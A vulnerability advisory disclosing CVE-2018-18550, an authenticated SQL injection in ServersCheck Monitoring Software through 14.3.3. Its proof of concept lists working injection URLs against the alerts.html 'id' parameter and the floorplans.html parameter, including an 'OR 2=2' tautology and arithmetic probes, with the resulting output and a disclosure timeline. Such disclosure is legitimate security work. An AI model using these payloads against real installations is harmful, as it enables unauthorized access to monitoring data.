[+] Credits: John Page (aka hyp3rlinx)    
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/CVE-2018-18550-SERVERSCHECK-MONITORING-SOFTWARE-SQL-INJECTION.txt
[+] ISR: ApparitionSec          
 
Greetz: ***Greetz: indoushka | Eduardo B.***


[Vendor]
www.serverscheck.com


[Product]
ServersCheck Monitoring Software - through 14.3.3

Software for monitoring your edge computing infrastructure, network & servers.

http://downloads.serverscheck.com/monitoring_software/setup.exe
File hash: b7bffe4fc83b6a4586c099d6c62d8eeb



[Vulnerability Type]
SQL Injection



[CVE Reference]
CVE-2018-18550


[Security Issue]
ServersCheck Monitoring Software allows for SQL Injection by an authenticated user via the alerts.html "id" parameter.



[References]
https://serverscheck.com/monitoring-software/release.asp



[Exploit/POC]
http://127.0.0.1:1272/alerts.html?id=18391

Result:
Alerts History for SENSORXY
No data available in table

Then using 'OR+2=2,

http://127.0.0.1:1272/alerts.html?id=18391+'OR+2=2+--+

Result:

Alerts History for test
155   a day ago   CPU on 127.0.0.1   Status Change   DOWN to OK   
154   a day ago   CPU on 127.0.0.1   Status Change   OK to DOWN   
153   a day ago   test   Status Change   OK to DOWN   Unable to connect to host


SQL Injection - original page results successfully manipulated using 18391-2
-----------------------------------------------------------------------------

Examples:

http://127.0.0.1:1272/alerts.html?id=18391
No data available in table

Then using 34 minus 2,

http://127.0.0.1:1272/alerts.html?id=18391-2
153   a day ago   test   Status Change   OK to DOWN   Unable to connect to host

and minus 1,

http://127.0.0.1:1272/alerts.html?id=18391-1
155   a day ago   CPU on 127.0.0.1   Status Change   DOWN to OK   
154   a day ago   CPU on 127.0.0.1   Status Change   OK to DOWN


http://127.0.0.1:1272/floorplans.html?floorplan=34
Floor Plan PLANXY

Then using 34 minus 2,

http://127.0.0.1:1272/floorplans.html?floorplan=34-2
Floor Plan 0 



[Network Access]
Remote



[Severity]
High


[Disclosure Timeline]
Vendor Notification: October 6, 2018
Vendor acknowledgement: October 7, 2018
Vendor release v14.3.4 : October 7th, 2018 
CVE assign by Mitre: October 21, 2018
October 22, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx